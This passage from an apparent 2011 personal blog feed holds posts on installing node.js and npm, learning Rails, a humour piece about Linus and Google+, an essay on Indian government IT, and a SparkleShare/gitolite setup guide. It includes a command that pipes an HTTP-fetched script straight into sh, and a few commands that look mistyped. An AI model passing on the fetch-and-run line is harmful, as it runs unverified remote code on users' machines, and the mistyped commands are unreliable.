<code class="language-plaintext highlighter-rouge">nvm install v0.4.11</code> to install v0.4.11
<code class="language-plaintext highlighter-rouge">nvm use v0.4.11</code>
<code class="language-plaintext highlighter-rouge">nvm alias default v.04.11</code> to make it default</p>
<p>You can type <code class="language-plaintext highlighter-rouge">which node</code> to see the actual node binaries being used.</p>
<h4 id="package-methods">Package Methods</h4>
<p>I would strongly advice against using your distro versions of node, unless you are on a rolling release distro, such as Arch. Please do not run <code class="language-plaintext highlighter-rouge">sudo apt-get install node</code> to install node. This would only cause much anguish and pain later on.</p>
<p>As of now, even the beta of Ubuntu 11.10 holds <code class="language-plaintext highlighter-rouge">v0.4.9</code> and is likely to do so for the next 6 months.</p>
<h3 id="windows">Windows</h3>
<p>As I’ve stopped using Windows for quite some time, here are instructions from the official node installation guide.</p>
<p><strong>Windows Build (Node v0.5.5)</strong>: <a href="http://nodejs.org/dist/v0.5.5/node.exe">http://nodejs.org/dist/v0.5.5/node.exe</a>
I would again recommend to install <a href="http://nodejs.org/dist/v0.4.11/node.exe">http://nodejs.org/dist/v0.4.11/node.exe</a> for stability reasons.</p>
<p>Self-contained binaries are available at <a href="http://node-js.prcn.co.cc">http://node-js.prcn.co.cc</a></p>
<h3 id="node-package-manager">Node Package Manager</h3>
<p>All cool programming languages come with their own package managers. Ruby has <a href="https://rubygems.org">rubygems</a>, Python has pip, PHP has PECL, perl has CPAN, and <code class="language-plaintext highlighter-rouge">node</code> has <a href="https://github.com/isaacs/npm">npm</a>.</p>
<p><code class="language-plaintext highlighter-rouge">npm</code> holds a large collection of packages that are the extra batteries that don’t come included in node. If you need to parse documents, or do some other fancy stuff in node, don’t look farther than npm. If you need it, chances are, it already has a package in npm. See <a href="https://www.npmjs.com/">list of packages</a> on the npm site.</p>
<h4 id="unix">Unix</h4>
<p>A simple one line install is available for <code class="language-plaintext highlighter-rouge">npm</code></p>
<p><code class="language-plaintext highlighter-rouge">curl http://npmjs.org/install.sh | sh</code></p>
<p>After that, you can install any package by <code class="language-plaintext highlighter-rouge">npm install package</code>. For instance, install jade by <code class="language-plaintext highlighter-rouge">npm install jade</code></p>
<p>Windows folks can clone the <a href="https://github.com/isaacs/npm">npm repository</a> and run the included <code class="language-plaintext highlighter-rouge">nmp.bat</code> file, and hope that it works.</p>
<h2 id="simple-servers-in-node">Simple Servers in Node</h2>
<p>node.js comes with “batteries included”, and part of that battery is node’s ability to instantly create web servers. Yes, right inside your program, you can easily create web servers, which will hold full compliance to HTTP.</p>
<p>This is a very simple HTTP server, written using the http module(included) in node :</p>
<pre class="prettyprint">var http=require('http');
http.createServer(function(request, response) {
var headers = { "Content-Type": "text/plain" };
response.sendHeader(200, headers);
response.sendBody("Hello, World!\n");
response.finish();
}).listen(8000);
</pre>
<p>As you can see, the createServer function takes a callback function as its argument. The callback function is called for each of the requests. All events are handled easily and instead of a server handling threads, memory etc, node just handles requests. In essence, a request generates an <em>event</em>, which is then handled by the callback function provided.</p>
<p>This is quite similar to the way we program event loops in javascript on the browser.</p>
<h2 id="the-good-stuff">The good stuff</h2>
<p>There are loads of interesting projects using node. Visit the <a href="https://github.com/joyent/node/wiki/modules">modules section</a> on the node wiki for a list of interesting node modules available. These include node clients for various libraries such as <a href="https://github.com/joyent/node/wiki/modules#wiki-database">Databases</a>(mysql, postgre, sqlite, Cassandra etc), Microframeworks (lik Sinatra), Frameworks, wikis, CMS, parsers and what not.</p>
<p>I’d recommend starting out with <a href="https://github.com/senchalabs/Connect">Connect</a> which is a middleware for node, and allows you to wrap your application easily around it. For databases, you can either go with the standard Relational ones(like mysql) or be brave, and take a spin with the noSQL ones like CouchDB, Cassandra, or MongoDB. All of them have native bindings available for node.js.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/joyent/node/">Node On GitHub</a>, including the wiki, documentation & code</li>
<li><a href="http://nodejs.org/">Nodejs.org</a></li>
</ul>
<h2 id="blogs--other-resources">Blogs & Other resources</h2>
<ul>
<li><a href="http://blog.nodejitsu.com/">NodeJitsu</a>, a company working completely on node. <img src="https://img.shields.io/badge/status-dead-red.svg?style=flat-square" alt="" /></li>
<li><a href="http://www.bytemuse.com/2011/06/getting-started-with-node-js-express-and-couchdb/">Getting Started with Node.JS, Express and CouchDB</a></li>
<li><a href="http://blog.nodejitsu.com/6-must-have-nodejs-modules">6 Must Have Node.js Modules</a></li>
<li><a href="http://addyosmani.com/blog/spotlight-issue1/">Some cool node projects</a></li>
<li><a href="http://howtonode.org/">HowToNode</a></li>
<li><a href="http://nodebeginner.org/">The node Beginner book</a></li>
<li><a href="http://nodecasts.org/">NodeCasts</a></li>
</ul>
<h2 id="stackoverflow-questions-on-node"><a href="http://stackoverflow.com">StackOverflow</a> Questions on node</h2>
<ul>
<li><a href="http://stackoverflow.com/questions/5869216">How to store Node.js deployment settings/configuration files?</a></li>
<li><a href="http://stackoverflow.com/questions/2353818/how-do-i-get-started-with-nodejs">How do I get started with NodeJS</a></li>
<li><a href="http://stackoverflow.com/questions/1884724/what-is-node-js">What is node.js</a></li>
<li><a href="http://stackoverflow.com/questions/3648993/where-can-i-host-a-node-js-app">Where to host node.js applications</a></li>
</ul>
Learning Ruby on Rails2011-08-01T00:00:00+00:00https://captnemo.in/blog/2011/08/01/learning-ruby-on-rails<p>Continuing my quest on Web Designing, I’ve started learning <a href="http://rubyonrails.org" title="Official RoR Site">Ruby On Rails</a>, which is like <em>the</em> most-hyped web framefork of the moment. After all, <a href="https://github.com" title="GitHub">Github</a> runs on Ruby On Rails, <a href="http://redmine.org" title="A project management system with code browsing">Redmine</a> uses Rails, and so do <a href="http://basecamphq.com">Basecamp</a>,<a href="http://hulu.com">Hulu</a>,<a href="http://scribd.com">Scribd</a>, and even <a href="http://twitter.com">Twitter</a>. Even though RoR has Ruby in its name, its just a namesake.</p>
<p>Learning Ruby and learning Rails are entirely two different routes, and learning one only gives you a slight advantage in the other. I’m learning Rails by the excellent book, <a href="https://www.railstutorial.org/" title="Ruby On Rails Tutorial Book">Ruby On Rails 3 Tutorial</a>, by Michael Hartl. It covers Rails 3, which is one reason I picked it as Rails 3 is quite different from Rails 2 in comparision.</p>
<p>Rails in a few words would be described as <em>a Web framework that makes writing web applications really, really easy</em>. And I really mean that. I’ve been programming in Rails for ~2 days, and I can confortably say that it is better than any other PHP framework (viz <a href="http://cakephp.org">CakePHP</a>, <a href="http://codeigniter.com">CodeIgniter</a>, <a href="http://kohanaphp.com">Kohana</a>) simple because it is powered by Ruby.</p>
<p>And the beauty of Ruby is not in its implementation, but in its elegance. Reading ruby code is lie reading seeing a visual presentation. While PHP is the paragraphed, prose version of the same stuff. Simply put, PHP allows you to do the same things, but essentialy it was not readable enough to match Ruby’s elegance.</p>
<p>Rails follows the <a href="http://en.wikipedia.org/wiki/Model-view-controller" title="Model View Conroller">MVC pattern</a> (Model-View-Controller) for development, and uses it strictly. It has got its own conventions, but as I found out, the concept of convention over Configuration makes much more sense in Rails than it ever did in PHP. All that time I spent in the CakePHP console was nothing compared to the interactivity of the Rails Console(<code class="language-plaintext highlighter-rouge">rails c</code>). Starting development server(<code class="language-plaintext highlighter-rouge">rails s</code>) is as easy as running the production server(<code class="language-plaintext highlighter-rouge">rails s --environment production</code>).</p>
<p>Instead of writing down <em>another</em> beginner tutorial on Rails, I’d rather direct you to some of the excellent Rails resources :</p>
<ul>
<li><a href="https://www.railstutorial.org/" title="Ruby On Rails Tutorial Book">Ruby on Rails 3 Tutorial</a>, the book I’m reading for learning Rails. Highly recommended</li>
<li><a href="http://railsbrains.org">RailsBrains</a>, offline API for Rails</li>
<li><a href="http://guides.rubyonrails.org/getting_started.html">Rails Getting Started</a>, Official Rails Getting Started guide</li>
<li><a href="http://stackoverflow.com/questions/tagged/ruby-on-rails">Rails@Stackoverflow</a></li>
</ul>
Announcing Planet IITR2011-07-09T00:00:00+00:00https://captnemo.in/blog/2011/07/09/announcing-planet-iitr<p><a href="http://www.planetaki.com/iitr/">Planet IIT-R</a> is a blog collection similar to the <a href="http://planet.ubuntu.com">Planet Ubuntu</a>, <a href="http://planet.wordpress.com">Wordpress</a>, and the likes. The basic idea is to create a single address where all blogs of IIT-R are aggregated. This way, people can easily follow happenings and blogs at IIT-Roorkee without individually following various blogs. I’ve added a few blogs to it already, including those of <a href="http://divye.in">Divye Kapoor</a>, Sanath Rath, <a href="http://wona.co.in">Wona</a>, Arasu and the likes.</p>
<p>A complete list of blogs in the planet is available at <a href="http://www.planetaki.com/iitr/subscriptions/">http://www.planetaki.com/iitr/subscriptions/</a></p>
<p><strong>Update</strong>: There is also a feature in planetaki to suggest a website for the planet. Unfortunately, you need to be logged in to planetaki (ie create a planet) to suggest a site. In case you are, you can use <a href="http://planetaki.com/iitr/subscriptions/suggest">the suggestions</a> feature to suggest websites.</p>
<p>To suggest a blog to add to the list, please use the form below. You can also see the current spreadsheet <a href="https://spreadsheets.google.com/spreadsheet/pub?hl=en_US&hl=en_US&key=0AmqzfUR1eWkldHdGSTNOM1kyZVEtRElWU0xsYkZVZ1E&single=true&gid=0&output=html">here</a> :</p>
<iframe src="https://spreadsheets.google.com/spreadsheet/embeddedform?formkey=dHdGSTNOM1kyZVEtRElWU0xsYkZVZ1E6MQ" width="760" height="643" frameborder="0" marginheight="0" marginwidth="0">Loading...</iframe>
<p>You can also <a href="/contact/">email me</a> for any further queries.<br />
Further Links :</p>
<ul>
<li><a href="http://planetaki.com">http://planetaki.com</a></li>
<li><a href="http://planetplanet.com">http://planetplanet.com</a></li>
<li><a href="https://spreadsheets.google.com/spreadsheet/pub?hl=en_US&hl=en_US&key=0AmqzfUR1eWkldHdGSTNOM1kyZVEtRElWU0xsYkZVZ1E&single=true&gid=0&output=html">Spreadsheet of the form above</a></li>
</ul>
What if Linus Torvalds designed Google+2011-07-07T00:00:00+00:00https://captnemo.in/blog/2011/07/07/linus<p>Google’s announced its next big thing, <a href="http://plus.google.com">Google+</a> to take on Facebook left people wondering if the next version would be called Google++. Inspite of all the great work that Vic Gundotra has put into Google+, it still lacks something. The creator of linux, Linus Torvalds. Google+ is as-of-now the social network for tech-geeks who are part of a field trial experiment(monkeys!) on the site. Google+ is still halfway geek, and in my imagination it would have been the ultimate geek power tool if it had been designed by Linus. Unfortunately, he is busy developing the linux kernel (10 million lines, 2% being his), and we would have to suffice with these thoughts:</p>
<ul>
<li><strong>Open Source</strong> : Google+ would be open sourced. Anyone could run Google+ on their own servers, and use it to create their own Social Network</li>
<li><strong>Command Line</strong> : The default Google+ client would run natively on linux/unix but would be ported later to Windows using cygwin.</li>
<li><strong>Difficulty-of-use</strong> : Gone are the click and point days. You’d be required to have absolute mastery over at least 5 different commands before you can even post a single item to your feed.</li>
<li><strong>Full Control</strong> : You will have full control over whatever you post. You can make 4 changes, stage them, take them back, commit 2 of them, edit a post, and recommit before pushing it to the server. However all of this will be stored.</li>
<li><strong>Git Backend</strong> : Both the client and the server will use git as its backend to store history, revisions, links, and circles.</li>
<li><strong>Circles</strong> : would be called trees. And you can tag your trees to take a snapshot of your friends lists at a time.</li>
<li><strong>Branching</strong> : would allow you to create multiple versions of your profile. The default version will be called master, while you can continue your secret development in alpha, staging, beta branches. Circles will automatically be associated with branches and auto-post items.</li>
<li><strong>Merging</strong> : will allow for collaborative posts.</li>
<li>After 12 years of development, Google+ will reach version 2.1</li>
<li><strong>No deletions</strong> : Everything in history has an importance. You are allowed to use rebase to rewrite history. Beware: use cautiously. Incorrect usage may lead to painfull scenarios.</li>
<li>A mascot(direwolf ?) would be found for Google+ (probably after it bit Linus in an aquarium)</li>
<li>Facebook would spend $421m fighting Google+</li>
<li>The manual of Google+ would be a labryinth of switches amd command line arguments for all the features that it came with. A user would be expected to read through the entire manual, or at least the first one-third, before being able to <em>do something</em> of use with the service.</li>
<li>To block a user, you must enter his id in an ignore file</li>
<li>3 years hence, the next big thing would be ghub offering a farm-like service to create, host, and customize your own google+ servers.</li>
</ul>
<blockquote>
<p>Note: Based on the history of linux, and the usability of git.</p>
</blockquote>
<h3 id="announcement">Announcement</h3>
<p>The <a href="http://www.thelinuxdaily.com/2010/04/the-first-linux-announcement-from-linus-torvalds/">famous announcement of Linux Kernel</a> on the <code class="language-plaintext highlighter-rouge">comp.os.minix</code> mailing list is well-known. Slightly re-written, this is how Linus might have announced Google+.</p>
<pre>
>From: [email protected] (Linus Benedict Torvalds)
>Newsgroups: web.social.facebook
>Subject: What would you like to see most in facebook
>Summary: small poll for my new social network
>Message-ID: <[email protected]>
>Date: 28 Jun 11 20:57:08 GMT
>Organization: Google
>Hello everybody out there using facebook -
>I’m doing a (free) social network (just a hobby, won’t be big and professional like facebook). This has been brewing since dec, and is starting to get ready. I’d like any feedback on things people like/dislike in facebook, as my site resembles it somewhat (same layout of the news feed and comments(due to practical reasons) among other things).
>I’ve currently ported feed(1.08), comments(2.1), photos(3.14), and likes(1.40), and things seem to work. This implies that I’ll get something practical within a few months, and I’d like to know what features most people would want. Any suggestions are welcome, but I won’t promise I’ll implement them :-)
>Linus ([email protected])
>PS. Yes – it’s free of any facebook code, and it has pipelined js. It is NOT protable (uses google accounts), and it probably never will support anything other than Google App Engine, as that’s all I have :-(.
</pre>
<p>Tags: <a href="http://www.facebook.com/WeBlog2011">WeBlog iFest 2011</a>, humour, linux, linus</p>
Why Indian Government Sucks at Technology2011-06-22T00:00:00+00:00https://captnemo.in/blog/2011/06/22/why-indian-government-sucks-at-technology<blockquote>
<p><strong>Note</strong>: All opinions are mine alone. Please keep your opinions limited to comments.</p>
</blockquote>
<p>This is in wake of the <a href="http://www.voiceofgreyhat.com/2011/06/anonymous-withdrawn-op-india-untold.html" title="Aftermath of the attack">not-so-anonymous</a> <a href="http://www.thehackernews.com/2011/06/anonymous-india-opindia-strikes-again.html" title="News report of the actual event">attacks</a> on the nic servers. Apparently a <a href="http://pastebin.com/MHwHNTEi" title="Names of perpetrators of the hack">few people</a> had decided to brand their own version of AnonymousIndia and hack into the nic servers. This had been viewed as almost normal in the Indian Media. This is after all something that happens every other day in India. Its just the Indian Army website, nothing that we care about.</p>
<p>Even though there are excellent <a href="http://jobs.nullcon.net/" title="Jobs in indian security sector">tech-security companies in India</a>, we have never developed the right attitude to it. People still think that hacking is fun, and its something that could never happen to them. I’ve never seen people reading the fine print on the thousand social web sites they join now a days. Piracy is rampant in India without any checks and the Indian Government is silent.</p>
<p>Why? Because we are used to it. It has always happened this way. Information leaks have been a major part of the Indian history and would remain so unless we realize that the more we embrace technology; the more we become dependent on it, it is coming one step closer to the edge.</p>
<p>A recent tweet by <a href="http://www.twitter.com/#!/divyekapoor/" title="@divyekapoor on twitter">@divyekapoor</a> reminded me of the AADHAR project, which aims to give out a unique identification number to each Indian citizen.</p>
<!-- http://twitter.com/#!/divyekapoor/status/82123483202584576 -->
<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Hacks like these ensure that I will resist giving my Biometrics to the UID project till they've suffered atleast 4 security breaches.</p>— Divye Kapoor (@divyekapoor) <a href="https://twitter.com/divyekapoor/status/82123483202584576">June 18, 2011</a></blockquote>
<script async="" src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
<!-- end of tweet -->
<p>I read out the <a href="http://uidai.gov.in/" title="Official Website">UIDAI</a> <a href="http://uidai.gov.in/UID_PDF/Front_Page_Articles/MOU/MOUsSigned/MOU_Uttarakhand.pdf" title="UIDAI's 'MOU With the uttrakhand govt.">docs</a> and it tells us that it would <em>“prescribe protocols to ensure the confidentiality, privacy and security of data”</em>, and <em>“follow the confidentiality, privacy and security protocols prescribed by the UIDAI”</em>. A search on the uidai.gov.in website gives out a little detail :</p>
<blockquote>
<p>The UID database will be guarded both physically and electronically by a few select individuals with high clearance. It will not be available even for many members of the UID staff and will be secured with the best encryption, and in a highly secure data vault. All access details will be properly logged.</p>
</blockquote>
<p>This is the most that they have to say on the subject. If that makes you feel safe, remember the earlier fiasco involving the security of the <a href="http://indiaevm.org/" title="Website of the security researchers detailing their study on tampering of EVMs">EVM machines</a>. Ultimately I’m with the government on that one, however, since a user had to have physical access to actually do any harm to the machine. But <em>it was possible</em> and Election Council kept denying it. As it happened, it seems that all our govt. agencies are probably trying more to hide their technical requirements, rather than make them open.</p>
<p>So why is this approach taken in India? Beauracracy? probably yes. But I feel that unless the technocrats rise up and actually enter the Indian Govt. technical agencies (such as NIC), nothing would change. For instance I find that almost everything that Indian government does is tailored specifically for Windows. There is no reason to plaster <a href="http://www.google.com/search?q=Internet%20Explorer%20site:gov.in%20-filetype:pdf" title="List of indian government websites with the words Internet Explorer">“Works best in Internet Explorer 6 at 1024x768”</a> in all your web sites, we already know how much the <a href="http://techrights.org/wiki/index.php/Microsoft_influence_in_the_Indian_government" title="Microsoft's Influence in the Indian Government">Indian</a> <a href="http://techrights.org/2010/01/22/india-patents-microsoft-lobby/" title="") [loves Windows](http://ramdas.diqtech.com/blogs/2008/jun/16/how-microsoft-has-locked-the-indian-government/ "Microsft has locked the Indian Government">government</a>. So much so that they get it pre-installed everywhere, even in government schools, and technical institutions.</p>
<p>Yet there is a small faction that is working tirelessly in the other direction as well. For instance the <a href="http://technorati.com/technology/gadgets/article/sakshat-a-35-tablet-to-be/" title="Technorati's report on the device with specs of the tablet">Sakshat project</a> has been under the news recently as well. It would ship with a version of android (which one?) with wi-fi, bluetooth and other frills. However the project has been known for shadowing and changing its details at each conference it is unvealed, so beware. It may suddenly change from an android to a Windows phone in the next one. Or maybe a blade server (speaking of which, the <a href="http://www.uidai.gov.in/index.php?option=com_content&view=article&id=177&Itemid=214" title="List of contracts awareded by UIDAI">uid project ordered 68 of them</a>.</p>
<p>I’ve worked a little bit on online Geo-Mapping tools earlier (mostly using Google Maps API). However, I wanted some accurate data for one of my projects (such as geographical boundaries). Other sources for this data are not as reliable, and I found the <a href="http://bhuvan3.nrsc.gov.in/" title="Bhuvan is a Google Earth like mapping tool developed by ISRO">bhuvan online tool</a> to be extremely accurate in this respect. If you’ve forgotten <a href="http://bhuvan.nrsc.gov.in/bhuvan/" title="Official site">Bhuvan</a>, its the Indian version of Google Maps. It was supposed to be <strong>the tool for mapping things</strong>. Unfortunately, as things have planned out, most of its <a href="http://ogleearth.com/2008/11/bhuvan-indias-upcoming-web-map-announced-misreported/" title="Bhuvan not what it was supposed to be">claims have been rubbished</a> (like 10m resolution power), or made null due to the extremely slow servers it uses(and it was supposedly optimized for low bandwidths). If you’re plannig to fight google, you’ve to step up your game. Try checking out the horrible design of the Bhuvan website. Leaving aside its horrible interface, Windows only support (.net), installation of additional plugins to just run it, and , it had brilliant geographical data(collected via various government agencies). However as it turns out, this data is not public. Why? It seems that ISRO plans to <a href="http://www.dnaindia.com/india/report_bhuvan-our-answer-to-google-earth-soon_1203871">sell this data</a> to people interested in using it. Wow! So a public funded agency decides to make money from the development done using <em>our money</em>. It’s been close to 3 years since its launch. And I’d be highly interested in knowing where it managed to sell this data.</p>
<p>In all fairness, though they’ve said that they would only sell the high resolution data, while making the general data <em>freely available to users</em>. But I don’t see fair unless its own my system, damn it. If by free you mean I’d have to open your website each time I need to find a village, it seems we have different thoughts about the word’s usage. Oh, and there’s a link on the website’s home page to a section called APIs which redirects to the Bhuvan Software download page, where guess what, there are no APIs at all. I managed to dig a few links and download two versions of their APIs, which seem to be downloaded copies of the documentation of the open layer javascript protocol they are using for mapping in the browser. So the data is available, it seems. But they’re forgetting to mention where.</p>
<p>Seriously, people wake up. This is the 21st century, and the most hyped buzz word today is open-source(well, after cloud). And if you really want to work on things, make them open source. Not just the technology, but the data as well. Becauase open data is essential to growth and planning of a nation, as Hans Rosling keeps on reminding us. Meanwhile, DRDO decides to go ahead and <a href="http://articles.economictimes.indiatimes.com/2010-10-10/news/28458329_1_saraswat-drdo-cyber-attacks">develop its own operating system</a>. Why? Because it will be closed-source and will be much more secure than any of the variants of linux. Or so they think.</p>
<p>The Informatics center still runs thousands of its websites in ASP (not even ASP.net), and this fact alone is enough to scare me off. With major corporations suffering from data leakage (Sony, Gawker) where user access was compromised, it is high time that the Indian Govt. someone realizes that you cannot secure your systems by locking them in a vault. These companies did the same, and look at the result.</p>
<p>Even the American Government has come up with an open-source initiative. Their website <a href="http://www.data.gov">data.gov</a> is a collection of applications, apis and raw data collected by various government agencies. And to top it all, the <a href="http://www.govtech.com/e-government/White-House-Honors-Unsung-Open-Data-App-Developers.html">US government invited the top application developers</a> from their platform at data.gov to the White House, hailing them as unsung heroes of the new age. If you’re interested in reading more and taking a stand for the open data democracy, take a look at <a href="http://share-psi.eu/papers/TNO.pdf">this whitepaper</a> by the Netherlands Organisation for Applied Scientific Research for a keen review of what are the major barriers to a government from sharing its data. Also go ahead and donate some money to wikileaks, while you’re at it.</p>
<p>And where is the Indian government at this? Not <em>very</em> far behind, but lagging nonetheless. Let us take the prime example of the decennial festival that is the Census. Apparently all census data is free (as it should be). But there is a minor caveat. The entire site is made in asp (which doesn’t really matter, I just don’t like it), and all the data (tables, figures, maps) are in pdf format. So, you can access the data personally, on a single page. Page by page, it might be thousands of documents, figures, charts, and what not. But since it is all in pdf format, it is locked down. You could parse it by some means, but the data is supposed to be free, in the best format possible so that everyone can use it easily. And the geographical boundary data(which I mentioned earlier) is also available in the census results, but only via a <a href="http://www.censusindia.gov.in/maps/censusgis/Census_GIS/page/India_WhizMap/IndiaMap.htm" title="Developed by Whizmaps, Riddhi softwares">java applet</a>, which does not allow access to the raw data, that an application developer would need. Am I expected to file an RTI application, just to know the <em>exact</em> boundaries of my state. Or perhaps, I should just pay ISRO and be done with it.</p>
<p>As an <del>additional benifit</del> <ins>easter egg</ins>, the census website <a href="http://www.censusindia.gov.in/Footer_Menus/Disclaimer.html">states the following</a>:</p>
<blockquote>
<p>The Census of India or any data or content providers shall not be liable for any errors in the content, or for any actions taken in reliance thereon.</p>
</blockquote>
<blockquote>
<p>All efforts have been made to ensure the accuracy and currency of the content on this website. However, users are requested to verify/check any information with us to obtain appropriate professional advice before acting on the information provided in the website. In no event will the Government or office of the Registrar General India be liable for any expense, loss or damage including, without limitation, indirect or consequential loss or damage, or any expense, loss or damage whatsoever arising from use, or loss of use, of data, arising out of or in connection with the use of this website.</p>
</blockquote>
<p>And lastly, as an analogue to the excellent Right To Information Act, there must be an analogous Right To Technology act. It should empower each and every person in the country to know what is happening behind the scenes. We demand total transparency in technological decisions. Not just the passing of tenders, but the decisions which involve actual technological development. For. eg at the CDAC website, the government offers a trial version of various forensic tools they’ve developed. Why aren’t they open sourced? Why were they writen using a particular language? If RTI fought off the beauracracy, this could help us eliminate the old technocrat thinking from the India Govt. If we are able to get the right data, in the right format, thousands of application developers across the world are willing to create great ways to access that data. Data by itself is not enough, however. It must be met with an equal resolve from people to make it accesible, and usable.</p>
<p>This could be a turning point in the Indian Govt. Either they could continue what they’ve been doing and meet their doom in a major state sponsored hack crippling the entire nation. Or they could take a step back, and do things the right way.</p>
<p>And what is the right way?</p>
<p><img src="/img/peace-love-linux.jpg" alt="Peace, Love, Linux" /></p>
<p><strong>Update</strong> :According to an article in the <a href="http://economictimes.indiatimes.com/news/international-business/all-new-e-governance-projects-must-work-on-open-source-operating-systems-draft/articleshow/9119827.cms">Economic Times</a>, there is a working draft for bringing Open-Source in e-governence systems under work.</p>
Setting Up Sparkleshare Server using Gitolite and Ubuntu2011-06-20T00:00:00+00:00https://captnemo.in/blog/2011/06/20/ubuntu-gitolite-sparkleshare-install<h2 id="introduction">Introduction</h2>
<p>Everybody seems to be all about open-source cloud-backup and sync solutions now-a-days. The hype is all around the cloud, they say. However cloud is just a stupid <a href="http://everythingsysadmin.com/2011/06/avoid-using-the-term-cloud-com.html">concept for sales people</a>, that I prefer to avoid. However people are coming up with all kinds of crazy ideas to create their own <a href="http://fak3r.com/geek/howto-build-your-own-open-source-dropbox-clone/">dropbox</a> <a href="http://www.rubyinside.com/rubydrop-a-dropbox-clone-in-ruby-3968.html">clones</a>. A few similar services include <a href="https://spideroak.com/">SpiderOak</a>, <a href="https://one.ubuntu.com/">Ubuntu One</a>, <a href="https://www.sugarsync.com/">Sugar Sync</a>, and <a href="http://www.wuala.com/">Wuala</a>. However, not all of them are compatible with Linux (unlike Dropbox, which is).</p>
<h2 id="comparision">Comparision</h2>
<p>So here’s a minor comparision of some famous clients :</p>
<ul>
<li><strong>Dropbox</strong> : Cuurent Leader, offers everything from sync, collaboration, sharing, public links, upgradable storage and is <em>the de-facto</em> client for synchonization tasks. However there have been a few issues regarding its privacy issues recently.</li>
<li><strong>Ubuntu One</strong> : Ubuntu One is Ubuntu’s fighting offering to Dropbox. Its excellent, with an open source api, that allows one to create applications for the Ubuntu One platform very easily. However, the server-side of Ubuntu-One is still closed source, which means you cannot setup it on your own servers (similar to dropbox). Canonical has hinted that it might be made open source in the future.</li>
<li><strong>Wuala</strong> : is a file-backup network where you trade your own hard disk space for extra storage. This allows wuala to offer higher space at a much lower offering rate.</li>
<li><strong>SpiderOak</strong> : I’m using this currently along with SparkleShare and Dropbox. It has proven to be very robust, allowing me to backup almost anything to its servers. I’ve got a 5GB account which is more than enough for me till now. Its very powerful interface allows one to control each and every aspect of your backup/sync/share process. Also it boasts of a true-privacy feature, meaning that all your documents are encrypted before being sent to dropbox. It also means that you can only reset your password from your own computer.</li>
</ul>
<p>Take a look at <a href="http://en.wikipedia.org/wiki/Comparison_of_file_synchronization_software">http://en.wikipedia.org/wiki/Comparison_of_file_synchronization_software</a> for a better comparision of several other services as well.</p>
<h1 id="installing-sparkleshare-using-gitolite">Installing SparkleShare using gitolite</h1>
<p>This is a simple tutorial on running your own sparkleshare server as a hosting server. Note, that this implementation should ideally be built as a separate module for sparkleshare-admin, which is still under works as of writing. Sparkleshare’s basic concept is to use git repositories as storage places. In case you don’t know what git is, I’d recommend <a href="https://git.wiki.kernel.org/index.php/GitFaq">this guide</a> for more details. In short it is an awesome revisioning system for use by anyone managing code(or content for that matter as well). It allows you to keep track of what is happening with your directory, and revert back to earlier versions (among <strong>several</strong> other things).</p>
<p>Sparkleshare asks you to setup a git-server somewhere and use it as a remote storage system. It offers out of the box support for git hosting providers <a href="https://www.github.com">github</a> and <a href="http://gitorious.org/">gitorious</a>. It also allows you to add your own custom servers as well. Enough description, lets get down to some work :</p>
<h3 id="setup-gitolite">Setup Gitolite</h3>
<h4 id="assumptions-">Assumptions :</h4>
<ol>
<li>You are running a stable Linux OS (Fedore/Debian/Ubuntu etc)</li>
<li><code class="language-plaintext highlighter-rouge">user@host1</code> is your own computer</li>
<li><code class="language-plaintext highlighter-rouge">user2@host2</code> is the primary computer where you intend to start the server</li>
<li>The gitolite username is <code class="language-plaintext highlighter-rouge">sparkle</code></li>
</ol>
<pre class="prettyprint lang-sh">
#On your host machine (which will be remote admin to the git share)
ssh-copy-id user2@host2:/tmp/user.tmp
#should not ask for password:
ssh user2@host2
sudo apt-get install gitolite
sudo dpkg-reconfigure sparkleshare
#Configuration Options may vary, but remember the gitolite user name that you specified
logout #Come back to your own computer
git clone sparkle@host2:gitolite-admin
#Should work, or else you did something wrong. Go read the [gitolite docs](http://sitaramc.github.com/gitolite/doc/)
cd gitolite-admin
nano conf/gitolite.conf
</pre>
<h3 id="setup-wildrepos">Setup WildRepos</h3>
<p>Edit the file and add the following lines at the bottom :</p>
<pre class="prettyprint lang-pl">
repo share/[a-z0-9]{6}
C = @all
RW+ = CREATOR
</pre>
<p>Now we need a method to allow anyone to create git repositories on the server. This is accomplished via Gitolite’s very powerful Wildcard Repositories feature.</p>
<pre class="prettyprint lang-sh">
#Login back to server
ssh user2@host2
#Since we are using package install method, sparkle's password needs to be set
sudo passwd sparkle
su - sparkle
nano .gitolite.rc
#search for $GL_WILDREPOS and set it to 1
logout
#Now we push our admin repo to add the wildrepo settings
#you're still inside the gitolite-admin directory, right
git push
</pre>
<h3 id="setup-client">Setup Client</h3>
<p>Now, your server is all setup, but there is still stuff to be done :</p>
<pre class="prettyprint lang-sh">
#On user1@host1
mkdir -p ~/.ssh
sudo add-apt-repository ppa:warp10/sparkleshare
sudo apt-get update
sudo apt-get install sparkleshare libwebkit1.1-cil git-core
sparkleshare start &
sparkleshare stop
</pre>
<p>When you run sparkleshare for the first time, it asks you for a few things, including your email-id. Fill in those details, but do not setup your repository yet. You need to first allow your sparkleshare account access to gitolite.</p>
<pre class="prettyprint lang-sh">
cd ~/.config/sparkleshare
ls #Should reveal files called sparkleshare.email.key and sparkleshare.email.key.pub
cp sparkleshare.email.key.pub /path/to/gitolite-admin/keydir/
cd /path/to/gitolite-admin/
git commit -am "Added sparkleshare client1"
git push
</pre>
<p>Now if all goes well, you’d have allowed acess to gitolite for this user. We now need to re-run the sparkeshare setup again. Find it in your Applications. Now when it asks you to fill a repository path, type in the following details :</p>
<pre class="prettyprint lang-yaml">
Server: sparkle@host2
Path: /share/fh73ah
</pre>
<p>Please take care of the slashes, otherwise sparkleshare fails to recognize it as a valid ssh address. Instead of fh73ah, you can type any alphanumeric string of 6 characters. You can change this in your gitolite-admin conf.</p>
<p>After your first sync is complete (in which it tries to clone your existing repo, and gitolite creates it for you), you can find a folder called Sparkleshare in your home directory. This contains all your personal sparkleshares, including your first one. Put in any content inside the fh73ah and it would be automatically synchronized.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The best thing about sparkleshare is that you can use your own server under your own rules. I’ve synced 143GB via Sparkleshare so far, and it has been working excellent so far. It takes a complete history, takes care of moves (git) and allows you to keeo huge backups easily. Just drag and drop, and forget. If you want to sync already existing folders, just drag them , and alt+drop them inside the shared folder. This way a sym-link gets created, which refers to the original directory. The sparkleshare folder on my computer takes up hardly a few kbs, but syncs worth 150gb.</p>
